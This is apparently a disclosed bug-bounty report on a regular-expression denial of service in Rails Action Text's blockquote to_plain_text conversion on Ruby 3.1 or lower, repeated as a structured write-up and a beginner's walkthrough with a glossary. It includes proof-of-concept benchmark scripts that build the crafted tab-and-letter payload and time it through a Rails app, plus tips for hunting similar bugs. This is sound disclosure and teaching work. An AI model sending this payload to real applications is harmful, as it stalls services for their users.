Action Text ReDoS (Ruby 3.1 or lower)
A regular expression used in Action Text's plain text conversion can take a very long time on crafted input when running Ruby 3.1 or lower. An attacker could send a message containing a blockquote with many whitespace characters and a couple of letters, causing a denial of service when the text is converted to plain text.
- Disclosed after 2.3 years
I have found ReDoS in Action Text. However, it does not occur with Ruby 3.2 or later.
https://github.com/rails/rails/blob/v7.1.3.2/actiontext/lib/action_text/plain_text_conversion.rb#L64
def plain_text_for_blockquote_node(node, index)
text = plain_text_for_block(node)
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
This is used in ActionText::Fragment#to_plain_text. https://github.com/rails/rails/blob/v7.1.3.2/actiontext/lib/action_text/fragment.rb#L47
It is a detect result by recheck ( https://makenowjust-labs.github.io/recheck/ ).

Confirm ReDoS with plain_text_regexp_benchmark.rb
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
# ruby 3.1.4
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000055 0.000001 0.000056 ( 0.000055)
0.004528 0.000003 0.004531 ( 0.004534)
0.385151 0.000659 0.385810 ( 0.386042)
39.185124 0.129945 39.315069 ( 39.408578)
# ruby 3.2.3
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000010 0.000001 0.000011 ( 0.000012)
0.000060 0.000022 0.000082 ( 0.000098)
0.000549 0.000064 0.000613 ( 0.000613)
0.005388 0.001199 0.006587 ( 0.006598)
# ruby 3.3.0
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000011 0.000001 0.000012 ( 0.000008)
0.000073 0.000001 0.000074 ( 0.000073)
0.000110 0.000011 0.000121 ( 0.000122)
0.001089 0.000196 0.001285 ( 0.001285)
0.010387 0.001831 0.012218 ( 0.012250)
PoC
❯ rails new -C -G -T text
# => Rails 7.1.3.2
❯ rails action_text:install
❯ bundle install
❯ bundle exec bin/rails generate model Message content:rich_text
❯ bundle exec rails db:migrate
create plain_text_benchmark.rb
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
message = Message.create!(content: "<blockquote>#{text}</blockquote>")
message.content.to_plain_text
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
# ruby 3.1.4
❯ bundle exec rails runner plain_text_benchmark.rb
user system total real
0.031610 0.010543 0.042153 ( 0.046888)
0.003494 0.000228 0.003722 ( 0.003872)
0.007226 0.000156 0.007382 ( 0.007383)
0.396392 0.001231 0.397623 ( 0.398462)
39.107745 0.110123 39.217868 ( 39.334358)
Impact
When using ActionText under Ruby 3.1, it is ReDoS if crafted text is sent and to_plain_text is called.
The same regular expressions are used in Rails 6.1 and 7.0.
Context
Action Text is the rich text editing stack that ships with Ruby on Rails. Rich text content is stored as HTML fragments, and applications frequently need a plain text version of that content, for example for previews, notifications, search indexing or email bodies. The conversion is performed by ActionText::Fragment#to_plain_text, which walks the fragment and converts each node type to text.
One of those node types is the blockquote. Its conversion is implemented in ActionText::PlainTextConversion#plain_text_for_blockquote_node, and it wraps the block's text in typographic quotation marks using a regular expression. The report points at that method in Rails v7.1.3.2:
def plain_text_for_blockquote_node(node, index)
text = plain_text_for_block(node)
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
The regular expression is applied with String#sub to the text of the blockquote. The method is reached through ActionText::Fragment#to_plain_text.
Setup
The researcher used a stock Rails application and the Action Text installer, on Rails 7.1.3.2. The isolated regex benchmark was also run under Ruby 3.2.3 and Ruby 3.3.0 for comparison. No accounts, roles or special configuration are involved: the precondition is simply that an application runs Action Text on Ruby 3.1 or lower and calls to_plain_text on content that an attacker can influence.
The report notes that the same regular expressions are used in Rails 6.1 and 7.0, linking to the corresponding lines in v6.1.7.7 and v7.0.8.1.
Finding it
The researcher ran the regular expression through recheck, a static analyser for regular expression denial of service, and it produced a detection result. The tool's output is shown in the report:

The key observation is that the behaviour depends on the Ruby version: the report states plainly that the issue does not occur with Ruby 3.2 or later, which points at the regex engine rather than at the Rails code itself.
Exploitation
Step 1: benchmark the regular expression in isolation
The first confirmation isolates the pattern from Rails entirely. The script builds a string of length tab characters, then a, then length tabs, then another a, and applies the same sub call used by the blockquote conversion.
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
On Ruby 3.1.4 the timings grow sharply with input length:
# ruby 3.1.4
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000055 0.000001 0.000056 ( 0.000055)
0.004528 0.000003 0.004531 ( 0.004534)
0.385151 0.000659 0.385810 ( 0.386042)
39.185124 0.129945 39.315069 ( 39.408578)
The same script on Ruby 3.2.3 stays fast:
# ruby 3.2.3
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000010 0.000001 0.000011 ( 0.000012)
0.000060 0.000022 0.000082 ( 0.000098)
0.000549 0.000064 0.000613 ( 0.000613)
0.005388 0.001199 0.006587 ( 0.006598)
And on Ruby 3.3.0:
# ruby 3.3.0
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000011 0.000001 0.000012 ( 0.000008)
0.000073 0.000001 0.000074 ( 0.000073)
0.000110 0.000011 0.000121 ( 0.000122)
0.001089 0.000196 0.001285 ( 0.001285)
0.010387 0.001831 0.012218 ( 0.012250)
Step 2: build a Rails application with Action Text
The second confirmation exercises the real code path. The researcher created a fresh application and installed Action Text:
❯ rails new -C -G -T text
# => Rails 7.1.3.2
❯ rails action_text:install
❯ bundle install
❯ bundle exec bin/rails generate model Message content:rich_text
❯ bundle exec rails db:migrate
This produces a Message model with a rich text content attribute, which is the standard way to store Action Text content.
Step 3: benchmark through to_plain_text
The benchmark script creates a Message whose content is a <blockquote> element containing the same crafted string, then calls to_plain_text on it:
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
message = Message.create!(content: "<blockquote>#{text}</blockquote>")
message.content.to_plain_text
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
On Ruby 3.1.4 the result mirrors the isolated benchmark, with the largest input taking roughly 39 seconds of real time:
# ruby 3.1.4
❯ bundle exec rails runner plain_text_benchmark.rb
user system total real
0.031610 0.010543 0.042153 ( 0.046888)
0.003494 0.000228 0.003722 ( 0.003872)
0.007226 0.000156 0.007382 ( 0.007383)
0.396392 0.001231 0.397623 ( 0.398462)
39.107745 0.110123 39.217868 ( 39.334358)
This confirms that the vulnerable regular expression is reachable from ordinary stored rich text through the public to_plain_text API, not only when the pattern is called directly.
Root cause
The blockquote conversion wraps the block's text in quotation marks with text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3').
The report states that the issue does not occur with Ruby 3.2 or later.
Impact
Under Ruby 3.1, if crafted text is sent and to_plain_text is called on it, the conversion is a denial of service: the request or job performing the conversion stalls for a time that grows sharply with input size. The researcher rates this as low severity. Under Ruby 3.1, it is ReDoS if crafted text is sent and to_plain_text is called. Applications on Ruby 3.2 or later are not affected by this behaviour.
Fix
The report does not describe a patch.
- Other Rails helpers that wrap text with anchored regular expressions containing nested quantifiers. A positive result is a benchmark whose runtime grows sharply as the input length increases on the Ruby version in use.
- Other Action Text node conversions that call
suborgsubwith patterns built from\s*,.+?and\Z. A positive result is the same superlinear timing when the crafted string is placed inside the corresponding HTML element. - The same pattern on different Ruby versions. A positive result is a large gap between Ruby 3.1 and 3.2 or later for identical input, which confirms the engine dependency rather than an application bug.
This kind of bug hides in text processing helpers: anything that normalises, quotes, trims or reformats user-controlled strings with regular expressions. During recon, look for rich text editors, markdown renderers, HTML sanitisers and plain text converters, and check whether the framework version pins an older Ruby. The signal is a regex with adjacent quantifiers and end anchors applied to stored content.
To show impact, the researcher did two things: a static detection with recheck, and a benchmark through the real framework API that demonstrates the time growth on the affected Ruby version while showing the same code is fast on newer versions. That combination ties the pattern to a reachable code path and makes the version precondition explicit, which is what a program needs to assess a low severity denial of service report.
What happened, in plain words
A security researcher found a way to make a Ruby on Rails application slow down badly by sending it a specially crafted piece of text. The slow part is a small piece of code that turns rich text (text with formatting, like bold, links or quotes) into plain text (just the letters, no formatting). On older versions of Ruby, the programming language Rails is written in, that conversion can take a very long time if the text is shaped in a particular way. On newer Ruby versions the same code is fast.
This kind of bug is called a denial of service (DoS): the attacker does not steal data or break in, they just make the application so busy that it cannot serve normal users. When the cause is a badly behaved regular expression, as here, it is called ReDoS, short for Regular expression Denial of Service.
The researcher rated it low severity.
Background: the pieces involved
Before the steps make sense, here are the moving parts, explained from scratch.
- Ruby is a programming language. Ruby on Rails (usually just "Rails") is a popular toolkit, written in Ruby, for building web applications. Think of Ruby as the engine and Rails as the car built around it.
- Action Text is a feature that ships with Rails. It lets an application store and edit rich text, the kind you get in a word processor: bold words, bullet lists, quotes. Internally, Action Text stores that content as HTML, the same markup language web pages are made of. A quote, for example, is stored as a
<blockquote>element. - Plain text is text with no formatting at all. Applications often need a plain version of rich text: for a preview in a list, for the body of an email notification, for a search index, or for a chat message. Action Text provides a method called
to_plain_textthat does this conversion. - A regular expression (often shortened to regex) is a pattern used to find or reshape pieces of text. You can think of it as a very precise search-and-replace rule, like "find everything between the first and last whitespace character and put quotation marks around it". Regexes are powerful but can be slow on certain inputs, which is the heart of this bug.
- ReDoS is what happens when a regex takes an enormous amount of time on a particular input. The application is not crashed; it is simply stuck doing the same matching work over and over.
- recheck is a free online tool that analyses a regex and warns you if it looks prone to ReDoS. It is a static analyser: it reads the pattern without running it against real data.
- A benchmark is a small program that measures how long something takes. Researchers use benchmarks to prove that a slowdown is real and grows with input size.
The vulnerable code
The report points at one method inside Action Text, in Rails version 7.1.3.2. This method converts a blockquote (a quoted block of text) to plain text and wraps the result in typographic quotation marks (“ ”):
def plain_text_for_blockquote_node(node, index)
text = plain_text_for_block(node)
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
Line by line:
def plain_text_for_blockquote_node(node, index)starts the definition of a method namedplain_text_for_blockquote_node. It receives anode(the blockquote element from the stored HTML) and anindex(its position among sibling elements).text = plain_text_for_block(node)first converts the inside of the blockquote to plain text and stores it in a variable calledtext.text.sub(...)then performs a search-and-replace on that text.submeans "substitute the first match".- The first argument is the regex
\A(\s*)(.+?)(\s*)\Z/m. In words:\Ameans the very start of the string;(\s*)means "capture any run of whitespace (spaces, tabs, newlines), possibly empty";(.+?)means "capture at least one character, but as few as possible";(\s*)means another run of whitespace;\Zmeans the very end of the string. The trailingmmakes the dot also match newlines. - The second argument
'\1“\2”\3'is the replacement.\1,\2and\3refer to the three captured groups, so the effect is: keep the leading whitespace, put an opening quote before the content, a closing quote after it, and keep the trailing whitespace.
This method is reached whenever an application calls ActionText::Fragment#to_plain_text, which is the normal public way to get plain text out of stored rich text.
How the researcher found it
The researcher did not guess. They fed the regex into recheck, the static analyser mentioned above, and it flagged the pattern as vulnerable to ReDoS. The tool's output is shown in the report:

A crucial observation: the report states plainly that the problem does not occur with Ruby 3.2 or later.
Step 1: benchmark the regex on its own
Before involving Rails at all, the researcher wrote a tiny Ruby script that applies exactly the same regex to a crafted string. The goal is to isolate the pattern: if the slowdown appears here, it is the regex, not the framework.
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
Line by line:
require 'benchmark'loads Ruby's built-in timing library, so the script can measure how long things take.def plain(length)defines a method that takes a number calledlength.text = "\t" * length + "a" + "\t" * length + "a"builds the crafted string:lengthtab characters (\t), then the lettera, thenlengthmore tabs, then anothera. Forlength = 3the string is three tabs,a, three tabs,a.text.sub(...)applies the same regex and replacement as the Rails method. This is the operation being measured.Benchmark.bm do |x| ... endstarts a benchmark block. Inside,x.report { ... }times one run of the code in the braces and prints a row.- The five
x.reportlines runplainwith 10, 100, 1,000, 10,000 and 100,000. Each input is ten times larger than the previous one, so the growth pattern becomes obvious.
On Ruby 3.1.4 the timings explode as the input grows:
# ruby 3.1.4
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000055 0.000001 0.000056 ( 0.000055)
0.004528 0.000003 0.004531 ( 0.004534)
0.385151 0.000659 0.385810 ( 0.386042)
39.185124 0.129945 39.315069 ( 39.408578)
Reading the table: each row is one input size, from 10 up to 100,000. The real column is wall-clock time in seconds. At 10 the call is instant; at 100,000 it takes about 39 seconds.
The same script on Ruby 3.2.3 stays fast:
# ruby 3.2.3
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000010 0.000001 0.000011 ( 0.000012)
0.000060 0.000022 0.000082 ( 0.000098)
0.000549 0.000064 0.000613 ( 0.000613)
0.005388 0.001199 0.006587 ( 0.006598)
And on Ruby 3.3.0:
# ruby 3.3.0
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000011 0.000001 0.000012 ( 0.000008)
0.000073 0.000001 0.000074 ( 0.000073)
0.000110 0.000011 0.000121 ( 0.000122)
0.001089 0.000196 0.001285 ( 0.001285)
0.010387 0.001831 0.012218 ( 0.012250)
Step 2: build a Rails application with Action Text
A benchmark on a bare regex is not enough to prove that a real application is affected. The researcher therefore created a fresh Rails application and set up Action Text, so the real code path could be exercised.
❯ rails new -C -G -T text
# => Rails 7.1.3.2
❯ rails action_text:install
❯ bundle install
❯ bundle exec bin/rails generate model Message content:rich_text
❯ bundle exec rails db:migrate
Line by line:
rails new -C -G -T textcreates a new Rails application in a folder calledtext. The comment confirms the resulting Rails version is 7.1.3.2.rails action_text:installruns Action Text's installer, which adds the tables and configuration Action Text needs.bundle installdownloads and installs the libraries (called gems in Ruby) the application depends on.bundle exec bin/rails generate model Message content:rich_textcreates a database model calledMessagewith a rich text field calledcontent. A model is Rails' representation of a database table; this one stores messages with formatted content.bundle exec rails db:migrateapplies the database changes, creating the actual tables.
Why this step? To show that the vulnerable regex is reachable through the ordinary, documented way of storing and converting rich text, not only when calling the regex directly.
Step 3: benchmark through to_plain_text
Now the researcher writes a benchmark that goes through the real framework: it stores a message whose content is a <blockquote> containing the crafted string, then asks Action Text for the plain text version.
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
message = Message.create!(content: "<blockquote>#{text}</blockquote>")
message.content.to_plain_text
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
Line by line:
require 'benchmark'loads the timing library again.def plain(length)defines the same helper, now doing real work.text = "\t" * length + "a" + "\t" * length + "a"builds the same crafted string as before: tabs,a, tabs,a.message = Message.create!(content: "<blockquote>#{text}</blockquote>")saves a new message to the database. Its rich text content is a<blockquote>element wrapping the crafted string. The#{text}part inserts the string into the HTML.message.content.to_plain_textasks Action Text to convert that stored rich text to plain text. This is the public API an application would call, and internally it reaches the vulnerable blockquote method.- The benchmark block runs the helper at five sizes, as before.
On Ruby 3.1.4 the result mirrors the isolated benchmark, with the largest input taking roughly 39 seconds of real time:
# ruby 3.1.4
❯ bundle exec rails runner plain_text_benchmark.rb
user system total real
0.031610 0.010543 0.042153 ( 0.046888)
0.003494 0.000228 0.003722 ( 0.003872)
0.007226 0.000156 0.007382 ( 0.007383)
0.396392 0.001231 0.397623 ( 0.398462)
39.107745 0.110123 39.217868 ( 39.334358)
bundle exec rails runner runs a Ruby script inside the Rails application, so the script has access to the Message model and to Action Text. The real column again shows the wall-clock time: about 39 seconds for the 100,000 case, against fractions of a second for the smaller ones.
This confirms that the vulnerable regex is reachable from ordinary stored rich text through the public to_plain_text method, not only when the pattern is called directly.
Why it happens
The blockquote conversion wraps the block's text in quotation marks with text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3'). The pattern has two greedy whitespace groups around a lazy .+?, anchored at both ends of the string.
The report states that the issue does not occur with Ruby 3.2 or later.
Impact
Under Ruby 3.1, if crafted text is sent and to_plain_text is called on it, the conversion is a denial of service: the request or background job performing the conversion stalls for a time that grows sharply with input size. The researcher rates this as low severity.
Under Ruby 3.1, it is ReDoS if crafted text is sent and to_plain_text is called. Applications on Ruby 3.2 or later are not affected by this behaviour.
The report also notes that the same regular expressions are used in Rails 6.1 and 7.0, linking to the corresponding lines in v6.1.7.7 and v7.0.8.1. So the version of Rails matters less than the version of Ruby underneath it.
Fix
The report does not describe a patch.
Variants to test
- Other Rails helpers that wrap text with anchored regular expressions containing nested quantifiers. A positive result is a benchmark whose runtime grows sharply as the input length increases on the Ruby version in use.
- Other Action Text node conversions that call
suborgsubwith patterns built from\s*,.+?and\Z. A positive result is the same superlinear timing when the crafted string is placed inside the corresponding HTML element. - The same pattern on different Ruby versions. A positive result is a large gap between Ruby 3.1 and 3.2 or later for identical input, which confirms the engine dependency rather than an application bug.
This kind of bug hides in text processing helpers: anything that normalises, quotes, trims or reformats user-controlled strings with regular expressions. During recon, look for rich text editors, markdown renderers, HTML sanitisers and plain text converters, and check whether the framework version pins an older Ruby. The signal is a regex with adjacent quantifiers and end anchors applied to stored content.
To show impact, the researcher did two things: a static detection with recheck, and a benchmark through the real framework API that demonstrates the time growth on the affected Ruby version while showing the same code is fast on newer versions. That combination ties the pattern to a reachable code path and makes the version precondition explicit, which is what a program needs to assess a low severity denial of service report.
Glossary
- Action Text: a feature built into Ruby on Rails for storing and editing rich text, stored internally as HTML.
- Anchor (in a regex): a symbol such as
\Aor\Zthat matches a position (start or end of string) rather than a character. - API: a defined way for one piece of software to ask another to do something; here, the public methods such as
to_plain_textthat applications call. - Backtracking: the regex engine's technique of trying one possible match, and if it fails, going back and trying another.
- Benchmark: a small program that measures how long an operation takes.
- Blockquote: an HTML element (
<blockquote>) representing a quoted block of text. - Catastrophic backtracking: a regex behaviour where the number of combinations the engine tries grows explosively with input size, causing very long runtimes.
- Denial of service (DoS): an attack that makes a service unavailable to normal users, usually by exhausting its time or resources.
- Greedy quantifier: a regex symbol such as
*that tries to match as many characters as possible first. - HTML: the markup language used to structure web pages and rich text.
- Lazy quantifier: a regex symbol such as
+?that tries to match as few characters as possible first. - Method: a named block of code in Ruby that performs an action when called.
- Model: in Rails, the code representation of a database table.
- Node: one element in a parsed HTML document, such as a blockquote or a paragraph.
- Plain text: text with no formatting.
- ReDoS: Regular expression Denial of Service; a denial of service caused by a regex taking excessive time on crafted input.
- recheck: a static analyser that inspects a regex and warns about ReDoS risk.
- Regex (regular expression): a pattern used to find or replace text.
- Rich text: text with formatting such as bold, links, lists and quotes.
- Ruby: the programming language Rails is written in.
- Ruby on Rails (Rails): a toolkit for building web applications in Ruby.
- Severity: a rating of how serious a vulnerability is, often low, medium, high or critical.
- Static analysis: examining code or patterns without running them against real data.
sub: a Ruby method that replaces the first match of a pattern in a string.to_plain_text: the Action Text method that converts stored rich text into plain text.- Whitespace: characters that create space, such as spaces, tabs and newlines.